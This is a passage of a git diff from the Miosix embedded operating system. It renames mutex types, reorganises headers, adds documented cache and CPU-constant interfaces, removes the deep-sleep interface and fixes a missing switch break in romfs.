//A reader-writer lock would be better + Lock l(mutex); //A reader-writer lock would be better fsIt it=filesystems.find(StringPart(path)); if(it==filesystems.end()) return -EINVAL; @@ -720,7 +720,7 @@ int FilesystemManager::umount(const char* path, bool force) void FilesystemManager::umountAll() { - Lock l(mutex); + Lock l(mutex); #ifdef WITH_PROCESSES list::iterator it; for(it=fileTables.begin();it!=fileTables.end();++it) (*it)->closeAll(); @@ -737,7 +737,7 @@ ResolvedPath FilesystemManager::resolvePath(string& path, bool followLastSymlink if(path.length()>PATH_MAX) return ResolvedPath(-ENAMETOOLONG); if(path.empty() || path[0]!='/') return ResolvedPath(-ENOENT); - Lock l(mutex); + Lock l(mutex); PathResolution pr(filesystems); return pr.resolvePath(path,followLastSymlink); } @@ -746,7 +746,7 @@ int FilesystemManager::unlinkHelper(string& path) { //Do everything while keeping the mutex locked to prevent someone to //concurrently mount a filesystem on the directory we're unlinking - Lock l(mutex); + Lock l(mutex); ResolvedPath openData=resolvePath(path,true); if(openData.result<0) return openData.result; //After resolvePath() so path is in canonical form and symlinks are followed @@ -767,7 +767,7 @@ int FilesystemManager::renameHelper(string& oldPath, string& newPath) { //Do everything while keeping the mutex locked to prevent someone to //concurrently mount a filesystem on the directory we're renaming - Lock l(mutex); + Lock l(mutex); ResolvedPath oldOpenData=resolvePath(oldPath,true); if(oldOpenData.result<0) return oldOpenData.result; ResolvedPath newOpenData=resolvePath(newPath,true); diff --git a/miosix/filesystem/file_access.h b/miosix/filesystem/file_access.h index 1c7375521..a45845e86 100644 --- a/miosix/filesystem/file_access.h +++ b/miosix/filesystem/file_access.h @@ -38,7 +38,8 @@ #include "devfs/devfs.h" #include "kernel/sync.h" #include "kernel/intrusive.h" -#include "config/miosix_settings.h" +#include "kernel/thread.h" +#include "miosix_settings.h" #ifdef WITH_FILESYSTEM @@ -412,7 +413,7 @@ class FileDescriptorTable */ int getAvailableFd(); - mutable FastMutex mutex; ///< Locks on writes to file object pointers, not on accesses + mutable KernelMutex mutex; ///< Locks on writes to file object pointers, not on accesses std::string cwd; ///< Current working directory @@ -531,15 +532,16 @@ class FilesystemManager void addFileDescriptorTable(FileDescriptorTable *fdt) { #ifdef WITH_PROCESSES - if(isKernelRunning()) + // This function is also called before the kernel is started, and not + // only we don't need to lock a mutex in this context, we can't. + // TODO: can we just use PauseKernelLock here? + if(PauseKernelLock::inLockedSection()) { - Lock l(mutex); - fileTables.push_back(fdt); - } else { - //This function is also called before the kernel is started, - //and in this case it is forbidden to lock mutexes fileTables.push_back(fdt); + return; } + Lock l(mutex); + fileTables.push_back(fdt); #endif //WITH_PROCESSES } @@ -551,7 +553,7 @@ class FilesystemManager void removeFileDescriptorTable(FileDescriptorTable *fdt) { #ifdef WITH_PROCESSES - Lock l(mutex); + Lock l(mutex); fileTables.remove(fdt); #endif //WITH_PROCESSES } @@ -567,12 +569,12 @@ class FilesystemManager /** * Constructor, private as it is a singleton */ - FilesystemManager() : mutex(FastMutex::RECURSIVE) {} + FilesystemManager() : mutex(MutexOptions::RECURSIVE) {} FilesystemManager(const FilesystemManager&); FilesystemManager& operator=(const FilesystemManager&); - FastMutex mutex; ///< To protect against concurrent access + KernelMutex mutex; ///< To protect against concurrent access /// Mounted filesystem std::map > filesystems; diff --git a/miosix/filesystem/littlefs/lfs_miosix.cpp b/miosix/filesystem/littlefs/lfs_miosix.cpp index f0e5abce5..ef348d594 100644 --- a/miosix/filesystem/littlefs/lfs_miosix.cpp +++ b/miosix/filesystem/littlefs/lfs_miosix.cpp @@ -523,7 +523,7 @@ int miosixBlockDeviceSync(const lfs_config *c) } #define GET_MUTEX_FROM_LFS_CONTEXT(config) \ - static_cast(&static_cast(config->context)->mutex) + static_cast(&static_cast(config->context)->mutex) int miosixLfsLock(const lfs_config *c) { diff --git a/miosix/filesystem/littlefs/lfs_miosix.h b/miosix/filesystem/littlefs/lfs_miosix.h index 88c499974..fba460d7a 100644 --- a/miosix/filesystem/littlefs/lfs_miosix.h +++ b/miosix/filesystem/littlefs/lfs_miosix.h @@ -27,7 +27,7 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "filesystem/file.h" #include "filesystem/stringpart.h" #include "kernel/sync.h" @@ -43,10 +43,10 @@ class LittleFSDirectory; struct lfs_driver_context { public: - lfs_driver_context(FileBase *disk) : disk(disk), mutex(Mutex::DEFAULT) {} + lfs_driver_context(FileBase *disk) : disk(disk), mutex(MutexOptions::DEFAULT) {} FileBase *disk; - Mutex mutex; + KernelMutex mutex; }; /** @@ -164,7 +164,7 @@ class LittleFS : public FilesystemBase struct lfs_config config; lfs_t lfs; - lfs_file_t file; + // lfs_file_t file; lfs_driver_context context; }; diff --git a/miosix/filesystem/mountpointfs/mountpointfs.cpp b/miosix/filesystem/mountpointfs/mountpointfs.cpp index 5c7e94acf..63c1f2524 100644 --- a/miosix/filesystem/mountpointfs/mountpointfs.cpp +++ b/miosix/filesystem/mountpointfs/mountpointfs.cpp @@ -52,13 +52,13 @@ class MountpointFsDirectory : public DirectoryBase * \param parentInode inode of the parent directory */ MountpointFsDirectory(intrusive_ref_ptr parent, - FastMutex& mutex, map& dirs, bool root, + KernelMutex& mutex, map& dirs, bool root, int currentInode, int parentInode) : DirectoryBase(parent), mutex(mutex), dirs(dirs), currentInode(currentInode), parentInode(parentInode), first(true), last(false) { - Lock l(mutex); + Lock l(mutex); if(root && dirs.empty()==false) currentItem=dirs.begin()->first.c_str(); } @@ -74,7 +74,7 @@ class MountpointFsDirectory : public DirectoryBase virtual int getdents(void *dp, int len); private: - FastMutex& mutex; ///< Mutex of parent class + KernelMutex& mutex; ///< Mutex of parent class std::map& dirs; ///< Directory entries of parent class string currentItem; ///< First unhandled item in directory int currentInode,parentInode; ///< Inodes of . and .. @@ -92,7 +92,7 @@ int MountpointFsDirectory::getdents(void *dp, int len) if(len l(mutex); + Lock l(mutex); char *begin=reinterpret_cast(dp); char *buffer=begin; char *end=buffer+len; @@ -129,7 +129,7 @@ int MountpointFs::open(intrusive_ref_ptr& file, StringPart& name, if(flags & (O_WRONLY | O_RDWR | O_APPEND | O_CREAT | O_TRUNC)) return -EACCES; - Lock l(mutex); + Lock l(mutex); int currentInode=rootDirInode; int parentInode=parentFsMountpointInode; if(name.empty()==false) @@ -147,7 +147,7 @@ int MountpointFs::open(intrusive_ref_ptr& file, StringPart& name, int MountpointFs::lstat(StringPart& name, struct stat *pstat) { - Lock l(mutex); + Lock l(mutex); map::iterator it; if(name.empty()==false) { @@ -175,7 +175,7 @@ int MountpointFs::unlink(StringPart& name) int MountpointFs::rename(StringPart& oldName, StringPart& newName) { - Lock l(mutex); + Lock l(mutex); map::iterator it=dirs.find(oldName); if(it==dirs.end()) return -ENOENT; for(unsigned int i=0;i l(mutex); + Lock l(mutex); if(dirs.insert(make_pair(name,inodeCount)).second==false) return -EEXIST; inodeCount++; return 0; @@ -199,7 +199,7 @@ int MountpointFs::mkdir(StringPart& name, int mode) int MountpointFs::rmdir(StringPart& name) { - Lock l(mutex); + Lock l(mutex); if(dirs.erase(name)==1) return 0; return -ENOENT; } diff --git a/miosix/filesystem/mountpointfs/mountpointfs.h b/miosix/filesystem/mountpointfs/mountpointfs.h index 5ac56bbeb..cb748ec6c 100644 --- a/miosix/filesystem/mountpointfs/mountpointfs.h +++ b/miosix/filesystem/mountpointfs/mountpointfs.h @@ -31,7 +31,7 @@ #include #include "filesystem/file.h" #include "kernel/sync.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" namespace miosix { @@ -47,7 +47,7 @@ class MountpointFs : public FilesystemBase /** * Constructor */ - MountpointFs() : mutex(FastMutex::RECURSIVE), inodeCount(rootDirInode+1) {} + MountpointFs() : mutex(MutexOptions::RECURSIVE), inodeCount(rootDirInode+1) {} /** * Open a file @@ -109,7 +109,7 @@ class MountpointFs : public FilesystemBase virtual int rmdir(StringPart& name); private: - FastMutex mutex; + KernelMutex mutex; std::map dirs; int inodeCount; static const int rootDirInode=1; diff --git a/miosix/filesystem/pipe/pipe.cpp b/miosix/filesystem/pipe/pipe.cpp index ce4d3ad3f..19e40ffeb 100644 --- a/miosix/filesystem/pipe/pipe.cpp +++ b/miosix/filesystem/pipe/pipe.cpp @@ -26,6 +26,7 @@ ***************************************************************************/ #include "pipe.h" +#include "kernel/thread.h" #include using namespace std; @@ -40,7 +41,7 @@ Pipe::Pipe() : FileBase(intrusive_ref_ptr(),O_RDWR), put(0), ssize_t Pipe::write(const void *data, size_t len) { auto d=reinterpret_cast(data); - Lock l(m); + Lock l(m); ssize_t written=0; while(len>0) { @@ -69,7 +70,7 @@ ssize_t Pipe::read(void *data, size_t len) { if(len==0) return 0; auto d=reinterpret_cast(data); - Lock l(m); + Lock l(m); for(;;) { int readable=min(len,size); diff --git a/miosix/filesystem/pipe/pipe.h b/miosix/filesystem/pipe/pipe.h index a84959a58..f3ad06ab5 100644 --- a/miosix/filesystem/pipe/pipe.h +++ b/miosix/filesystem/pipe/pipe.h @@ -29,7 +29,7 @@ #include "filesystem/file.h" #include "kernel/sync.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #ifdef WITH_FILESYSTEM @@ -117,7 +117,7 @@ class Pipe : public FileBase static const int defaultSize=256; static const int pollTime=100000000; //100ms - FastMutex m; + KernelMutex m; ConditionVariable cv; int put, get, size, capacity; char *buffer; diff --git a/miosix/filesystem/romfs/romfs.cpp b/miosix/filesystem/romfs/romfs.cpp index 417237144..65357aec0 100644 --- a/miosix/filesystem/romfs/romfs.cpp +++ b/miosix/filesystem/romfs/romfs.cpp @@ -202,6 +202,7 @@ off_t MemoryMappedRomFsFile::lseek(off_t pos, int whence) break; case SEEK_END: newSeekPoint=pos+fromLittleEndian32(entry->size); + break; default: return -EINVAL; } diff --git a/miosix/filesystem/romfs/romfs.h b/miosix/filesystem/romfs/romfs.h index 154e29688..bcda69e04 100644 --- a/miosix/filesystem/romfs/romfs.h +++ b/miosix/filesystem/romfs/romfs.h @@ -29,7 +29,7 @@ #include "filesystem/file.h" #include "filesystem/stringpart.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #ifdef WITH_FILESYSTEM diff --git a/miosix/filesystem/stringpart.cpp b/miosix/filesystem/stringpart.cpp index d70f3dedd..03be75b87 100644 --- a/miosix/filesystem/stringpart.cpp +++ b/miosix/filesystem/stringpart.cpp @@ -26,7 +26,9 @@ ***************************************************************************/ //Makes memrchr available in newer GCCs +#ifndef _GNU_SOURCE #define _GNU_SOURCE +#endif #include #include "stringpart.h" diff --git a/miosix/interfaces/atomic_ops.h b/miosix/interfaces/atomic_ops.h index c2768aa28..6e156663b 100644 --- a/miosix/interfaces/atomic_ops.h +++ b/miosix/interfaces/atomic_ops.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2013-2021 by Terraneo Federico * + * Copyright (C) 2013-2024 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,6 +27,8 @@ #pragma once +#include "miosix_settings.h" + /** * \addtogroup Interfaces * \{ @@ -154,18 +156,8 @@ inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, * \} */ -#ifdef _ARCH_ARM7_LPC2000 -#include "core/atomic_ops_impl_arm7.h" -#elif defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM3_STM32F2) \ - || defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM3_STM32L1) \ - || defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) \ - || defined(_ARCH_CORTEXM3_EFM32GG) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) || defined(_ARCH_CORTEXM4_ATSAM4L) \ - || defined(_ARCH_CORTEXM3_EFM32G) -#include "core/atomic_ops_impl_cortexMx.h" -#elif defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM0PLUS_STM32L0) \ - || defined(_ARCH_CORTEXM0PLUS_RP2040) -#include "core/atomic_ops_impl_cortexM0.h" +#ifdef WITH_SMP +#include "interfaces-impl/atomic_ops_smp_impl.h" #else -#error "No atomic ops for this architecture" +#include "interfaces-impl/atomic_ops_impl.h" #endif diff --git a/miosix/interfaces/bsp.h b/miosix/interfaces/bsp.h index 3ac82d616..43a4fd16b 100644 --- a/miosix/interfaces/bsp.h +++ b/miosix/interfaces/bsp.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * + * Copyright (C) 2010-2024 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,8 +27,6 @@ #pragma once -namespace miosix { - /** * \addtogroup Interfaces * \{ @@ -37,75 +35,14 @@ namespace miosix { /** * \file bsp.h * This file contains architecture specific board support package. - * It must at least provide these four functions: - * - * IRQbspInit(), to initialize the board to a known state early in the boot - * process (before the kernel is started, and when interrupts are disabled) - * - * bspInit2(), to perform the remaining part of the initialization, once the - * kernel is started - * - * shutdown(), for system shutdown. This function is called in case main() - * returns, and is available to be called by user code. - * - * reboot(), a function that can be called to reboot the system under normal - * (non error) conditions. It should sync and unmount the filesystem, and - * perform a reboot. This function is available for user code. * - * Other than this, the board support package might contain other functions, - * classes, macros etc. to support peripherals and or board hardware. + * What it should provide is, by definition, board-specific. + * As an example, it the board has at least one software-controlled LED, it is + * common for the BSP to provide two functions ledOn() and ledOff(). */ -/** - * \internal - * Initializes the I/O pins, and put system peripherals to a known state.
- * Must be called before starting kernel. Interrupts must be disabled.
- * This function is used by the kernel and should not be called by user code. - */ -void IRQbspInit(); - -/** - * \internal - * Performs the part of initialization that must be done after the kernel is - * started.
- * This function is used by the kernel and should not be called by user code. - */ -void bspInit2(); - -/** - * This function disables filesystem (if enabled), serial port (if enabled) and - * shuts down the system, usually by putting the procesor in a deep sleep - * state.
- * The action to start a new boot is system-specific, can be for example a - * reset, powercycle or a special GPIO configured to wakeup the processor from - * deep sleep.
- * This function does not return.
- * WARNING: close all files before using this function, since it unmounts the - * filesystem.
- */ -void shutdown(); - -/** - * The difference between this function and miosix_private::IRQsystemReboot() - * is that this function disables filesystem (if enabled), serial port - * (if enabled) while miosix_private::system_reboot() does not do all these - * things. miosix_private::IRQsystemReboot() is designed to reboot the system - * when an unrecoverable error occurs, and is used primarily in kernel code, - * reboot() is designed to reboot the system in normal conditions.
- * This function does not return.
- * WARNING: close all files before using this function, since it unmounts the - * filesystem. - */ -void reboot(); - /** * \} */ -} //namespace miosix - -/* - * Since the architecture specific board support package can declare other - * functions and macros, include this header. - */ #include "interfaces-impl/bsp_impl.h" diff --git a/miosix/interfaces/cache.h b/miosix/interfaces/cache.h new file mode 100644 index 000000000..9e2e73308 --- /dev/null +++ b/miosix/interfaces/cache.h @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2018-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file cache.h + * This file contains code to flush cached in drivers that use DMA. + * + * Miosix, whenever permitted by the underlying architecture, configures the + * data cache as write through. Why not supporting write-back? + * + * When writing data from memory to a peripheral using DMA, things are easy + * also with write-back. You just flush (clean) the relevant cache lines, and + * the DMA has access to the correct values. So it looks like it's ok. + * When instead the DMA has to write to a memory location things become + * complicated. Assume that a buffer not aligned to a cache line is passed to + * a DMA read routine. After that a context switch happens and another thread + * writes to a memory location that is on the same cache line as the (beginning + * or end of) the buffer passed to the DMA. At the same time the DMA is writing + * to the buffer. + * At the end the situation looks like this, where the thread has written to + * location X in the cache, while the DMA has written Y to the buffer. + * <-- outside buffer --x-- buffer --> + * +----------------------------------+ + * | X | | cache + * +----------------------------------+ + * | |YYYYYYYYYYYYY| memory + * +----------------------------------+ + * What are you suppose to do? If you flush (clean) the cache line, X will be + * committed to memory, but the Y data written by the DMA will be lost. If you + * invalidate the cache, Y is preserved, but X is lost. + * If you're just thinking that the problem can be solved by making sure buffers + * are aligned to the cache line (and their size is a multiple of the cache + * line), well, there's a problem. + * Miosix is a real-time OS, and for performance and safety, most drivers are + * zero copy. Applications routinely pass to DMA drivers such as the SDIO large + * buffers (think 100+KB). Of course allocating an aligned buffer inside the + * DMA driver as large as the user-passed buffer and copying the data there + * isn't just slow, it wouldn't be safe, as you risk to exceed the free heap + * memory or fragment the heap. Allocating a small buffer and splitting the + * large DMA transfer in many small ones where the user passed buffer is copyied + * one chunk at a time would be feasible, but even slower, and even more so + * considering that some peripherals such as SD cards are optimized for large + * sequential writes, not for small chunks. + * But what if we make sure all buffers passed to DMA drivers are aligned? + * That is a joke, as it the burden of doing so is unmaintainable. Buffers + * passed to DMA memory are everywhere, in the C/C++ standard library + * (think the buffer used for IO formatting inside printf/fprintf), and + * everywhere in application code. Something like + * char s[128]="Hello world"; + * puts(s); + * may cause s to be passed to a DMA driver. We would spend our lives chasing + * unaligned buffers, and the risk of this causing difficult to reproduce memory + * corruptions is too high. For this reason, Miosix prefers write-through + * caches. + * + * Should an architecture be added where caches have to be write back, then all + * DMA-enabled drivers for that architecture will hae to be written to not be + * zero copy, and instead to always copy the passed data in fixed size buffers + * that are cache-aligned, to the detriment of driver performance and causing + * increased memory use. + * + * At the time of writing, all architectures Miosix supports that have caches + * provide a way to configure the caches as write through. + */ + +namespace miosix { + +/** + * When writing DMA-enabled drivers, before passing a buffer to the DMA for it + * to be written to a peripheral, call this function to keep the DMA operations + * in sync with the cache. + * + * This function becomes a no-op for architectures without DCACHE, so you can + * freely put it in any DMA-enabled driver. + * \param buffer buffer + * \param size buffer size + */ +void markBufferBeforeDmaWrite(const void *buffer, int size); + +/** + * After a DMA read from a peripheral to a memory buffer has completed, + * call this function to keep the DMA operations in sync with the cache. + * + * This function becomes a no-op for architectures without DCACHE, so you can + * freely put it in any DMA-enabled driver. + * \param buffer buffer + * \param size buffer size + */ +void markBufferAfterDmaRead(void *buffer, int size); + +/** + * \internal + * Enable caches. This function is called by the kernel in the architecture + * independent boot.cpp to enable caches early at boot. + * It must not be called by application code. + * It must not be called by device drivers. + * It must not be called by board support packages. + * TODO: make an interfaces-private header only for this function? + */ +void IRQenableCache(); + +} //namespace miosix + +/** + * \} + */ + +#include "interfaces-impl/cache_impl.h" diff --git a/miosix/interfaces/cpu_const.h b/miosix/interfaces/cpu_const.h new file mode 100644 index 000000000..fe87221de --- /dev/null +++ b/miosix/interfaces/cpu_const.h @@ -0,0 +1,128 @@ +/*************************************************************************** + * Copyright (C) 2024-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file cpu_const.h + * The implementation of this file should contain the following constants + * describing CPU properties: + * + * Size in words of vector to store CPU context during context switch. + * const unsigned char CTXSAVE_SIZE=...; + * + * Size of additional context saved on the stack during context switch. + * If zero, this architecture does not save anything on stack during context + * save. Size is in bytes, not words. MUST be divisible by 4. This constant is + * used to increase the stack size by the size of context save frame. + * const unsigned int CTXSAVE_ON_STACK=...; + * + * Stack alignment required by the CPU + * const unsigned int CTXSAVE_STACK_ALIGNMENT=...; + * + * Offset in words to retrieve the thread stack pointer in ctxsave + * const unsigned int STACK_OFFSET_IN_CTXSAVE=...; + * + * Number of cores (only if WITH_SMP is defined, otherwise defaults to 1) + * const unsigned char CPU_NUM_CORES=...; + * + * The type used to store a set of CPUs for scheduler affinity (only if WITH_SMP + * is defined, otherwise defaults to unsigned char) + * using CpuSet=...; + */ + +namespace miosix { + +/** + * Returns a numeric ID for the current core. This function shall: + * - Always return 0 on single core platforms + * - Always return 0 when executed on the core which handles the boot process + * - Never return a number greater or equal than CPU_NUM_CORES + * + * \warning Although this function is safe to be called without taking any lock, + * using the result may not be, as without taking either the GlobalIrqLock or + * the PauseKernelLock, the thread calling this function may be preempted and + * migrated to another core at any time. + * Consider this code snippet executed without taking any lock, that did cause + * trouble during Miosix 3 development: + * \code + * Thread *currentThread=runningThreads[getCurrentCoreId()]; + * \endcode + * Most of the time it works, however, if the thread is preempted and migrated + * after the getCurrentCoreId() but before the array indexing, currentThread + * points to another thread running on another core! + * + * For this reason, any code calling getCurrentCoreId() without taking the + * GlobalIrqLock or PauseKernelLock should be carefully checked not to cause + * race conditions on thread migrations. + */ +inline unsigned char getCurrentCoreId(); + +#ifndef WITH_SMP +const unsigned char CPU_NUM_CORES=1; //Only one core + +using CpuSet=unsigned char; + +inline unsigned char getCurrentCoreId() { return 0; } +#endif + +} // namespace miosix + +#include "interfaces-impl/cpu_const_impl.h" + +#ifdef WITH_SMP +#include "interfaces-impl/cpu_const_smp_impl.h" +#endif + +namespace miosix { + +/** + * Selects which core is given the task to handle the wakeup from the list of + * sleeping threads. We pick the last core for heuristic load balancing: + * Core 0 already handles most peripheral interrupts, so we choose another one, + * unless we are on a single core architecture, in which case it will be core 0. + */ +const unsigned char WAKEUP_HANDLING_CORE=CPU_NUM_CORES-1; + +/** + * Constant representing an affinity mask posing no restriction on scheduling + * a thread on any core + */ +constexpr CpuSet unrestrictedAffinityMask=(1< * - ***************************************************************************/ - -#pragma once - -/** - * \addtogroup Interfaces - * \{ - */ - -/** - * \file deep_sleep.h - * This file contains required functions to implement automatic deep sleep state - * switch. - * - * This solution on supported hardware allows to power off also the peripherals - * when the system is in idle state and doesn't require any peripheral action. - * - * NOTE: this interface is meant to be used only by the kernel and not by user - * code. When automatic deep sleep is enabled, it is transparent to applications. - */ - -namespace miosix { - -/** - * \internal - * Initialize the required component to support the deep sleep functionalities. - */ -void IRQdeepSleepInit(); - -/** - * \internal - * Put in deep sleep the board until the next wakeup schedule. - * \param abstime : selected absolute time to wake up from deep sleep state. - * This blocking function shall return when abstime is reached. - * \return true if the deep sleep operation was performed succesfully, and the - * function has returned at the prescribed time (within its tolerance). - * This function may immediately return false if some condition is not met and - * going in deep sleep was not possible, for example the requested wakeup time - * is too close considering the overhead of going in deep sleep. - */ -bool IRQdeepSleep(long long abstime); - -/** - * \internal - * Put in deep sleep the board without a wakeup time. - * This may happen because of waiting for some event that can happen also - * in deep sleep. - * \return true if the deep sleep operation was performed succesfully. - * This function may immediately return false if some condition is not met and - * going in deep sleep was not possible. - */ -bool IRQdeepSleep(); - -} //namespace miosix - -/** - * \} - */ diff --git a/miosix/interfaces/delays.h b/miosix/interfaces/delays.h index 14fd8cc22..33e2a7ed4 100644 --- a/miosix/interfaces/delays.h +++ b/miosix/interfaces/delays.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * + * Copyright (C) 2010-2024 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,8 +27,6 @@ #pragma once -namespace miosix { - /** * \addtogroup Interfaces * \{ @@ -38,8 +36,27 @@ namespace miosix { * \file delays.h * This file contains two functions, delayMs() and delayUs() which implement * busy wait delays. + * + * NOTE: The kernel provides the possibility for a thread to sleep while leaving + * the CPU free to use by to other threads, through the follwing functions: + * \code + * Thread::sleep(); //Milliseconds granularity, relative sleep time + * Thread::nanoSleep(); //Nanosecond granularity, relative sleep time + * Thread::nanoSleepUntil(); //Nanosecond granularity to an absolute time point + * \endcode + * and additionally the Miosix-specific functions mentioned above are wrapped + * in POSIX-compliant versions (\code clock_nanosleep() \endcode) and C++ + * standard versions (\code this_thread::sleep_for() \endcode and \code + * this_thread::sleep_until \endcode). + * + * The functions in this header are instead implemented using busy-wait, thus + * they waste CPU cycles and are generally less precise as the thread can be + * preempted, lengthening the sleep time. You should thus only use these + * functions if you have a specific reason to do so. */ +namespace miosix { + /** * Delay function. Accuracy depends on the underlying implementation which is * architecture specific.
@@ -47,8 +64,9 @@ namespace miosix { * running due to time spent in interrupts and due to preemption.
* It is implemented using busy wait, so can be safely used even when the * kernel is paused or interrupts are disabled.
- * If the kernel is running it is *highly* recomended to use Thread::sleep since - * it gives CPU time to other threads and/or it puts the CPU in low power mode. + * If the kernel is running it is *highly* recomended to use Thread::sleep() + * since it gives CPU time to other threads and/or it puts the CPU in low power + * mode. * \param mseconds milliseconds to wait */ void delayMs(unsigned int mseconds); @@ -65,8 +83,8 @@ void delayMs(unsigned int mseconds); */ void delayUs(unsigned int useconds); +} //namespace miosix + /** * \} */ - -} diff --git a/miosix/interfaces/endianness.h b/miosix/interfaces/endianness.h index e8eb31e52..d82c9b6c0 100644 --- a/miosix/interfaces/endianness.h +++ b/miosix/interfaces/endianness.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * + * Copyright (C) 2011-2024 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,20 +27,6 @@ #pragma once -#ifdef _ARCH_ARM7_LPC2000 -#include "core/endianness_impl_arm7.h" -#elif defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM3_STM32F1) \ - || defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM3_STM32F2) \ - || defined(_ARCH_CORTEXM3_STM32L1) || defined(_ARCH_CORTEXM7_STM32F7) \ - || defined(_ARCH_CORTEXM7_STM32H7) || defined(_ARCH_CORTEXM3_EFM32GG) \ - || defined(_ARCH_CORTEXM4_STM32F3) || defined(_ARCH_CORTEXM4_STM32L4) \ - || defined(_ARCH_CORTEXM4_ATSAM4L) || defined(_ARCH_CORTEXM3_EFM32G) \ - || defined(_ARCH_CORTEXM0PLUS_STM32L0) || defined(_ARCH_CORTEXM0PLUS_RP2040) -#include "core/endianness_impl_cortexMx.h" -#else -#error "No endianness code for this architecture" -#endif - /** * \addtogroup Interfaces * \{ @@ -52,7 +38,10 @@ * endianness to little or big endian, as well as to perform byte swapping. */ -// Implementation of these functions is in endianness_impl.h +#ifndef MIOSIX_BIG_ENDIAN +//This target is little endian +#define MIOSIX_LITTLE_ENDIAN +#endif //MIOSIX_BIG_ENDIAN #ifdef __cplusplus #define __MIOSIX_INLINE inline @@ -148,9 +137,11 @@ __MIOSIX_INLINE unsigned long long swapBytes64(unsigned long long x); #define fromBigEndian32(x) (x) #define fromBigEndian64(x) (x) #else -#error "endianness_impl.h does not define endianness" +#error "endianness not defined" #endif /** * \} */ + +#include "interfaces-impl/endianness_impl.h" diff --git a/miosix/interfaces/gpio.h b/miosix/interfaces/gpio.h index e68a28616..996a3302e 100644 --- a/miosix/interfaces/gpio.h +++ b/miosix/interfaces/gpio.h @@ -36,7 +36,7 @@ * \file gpio.h * The interface to gpios provided by Miosix is in the form of templates, * therefore this file can only include gpio_impl.h with the architecture - * dependand code. + * dependant code. * * The interface should be as follows: * First a class Mode containing an enum Mode_ needs to be defined. Its minimum @@ -100,15 +100,15 @@ * The intended use is this: * considering an architecture with two ports, PORTA and PORTB each with 8 pins. * The header gpio_impl.h should provide two constants, for example named - * GPIOA_BASE and GPIOB_BASE. + * PA and PB. * * The user can declare the hardware mapping between gpios and what is connected * to them, usually in an header file. If for example PORTA.0 is connected to * a button while PORTB.4 to a led, the header file might contain: * * \code - * typedef Gpio button; - * typedef Gpio led; + * typedef Gpio button; + * typedef Gpio led; * \endcode * * This allows the rest of the code to be written in terms of leds and buttons, @@ -134,8 +134,48 @@ * */ +#include "interfaces-impl/gpio_impl.h" + +namespace miosix { + /** - * \} + * Invalid GPIO pin which does nothing. Cannot be read, and its port and number + * are not available. */ +class NullGpio +{ +public: + /** + * \return whether the Gpio is valid + */ + bool isValid() const { return false; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode_ + */ + static void mode(Mode m) { } -#include "interfaces-impl/gpio_impl.h" + /** + * Set the pin to 1, if it is an output + */ + static void high() { } + + /** + * Set the pin to 0, if it is an output + */ + static void low() { } + + /** + * \return this Gpio converted as a GpioPin class + */ + static GpioPin getPin() { return GpioPin(); } + + NullGpio() = delete; //Only static member functions +}; + +} // namespace miosix + +/** + * \} + */ diff --git a/miosix/interfaces/interrupts.h b/miosix/interfaces/interrupts.h new file mode 100644 index 000000000..49d548980 --- /dev/null +++ b/miosix/interfaces/interrupts.h @@ -0,0 +1,311 @@ 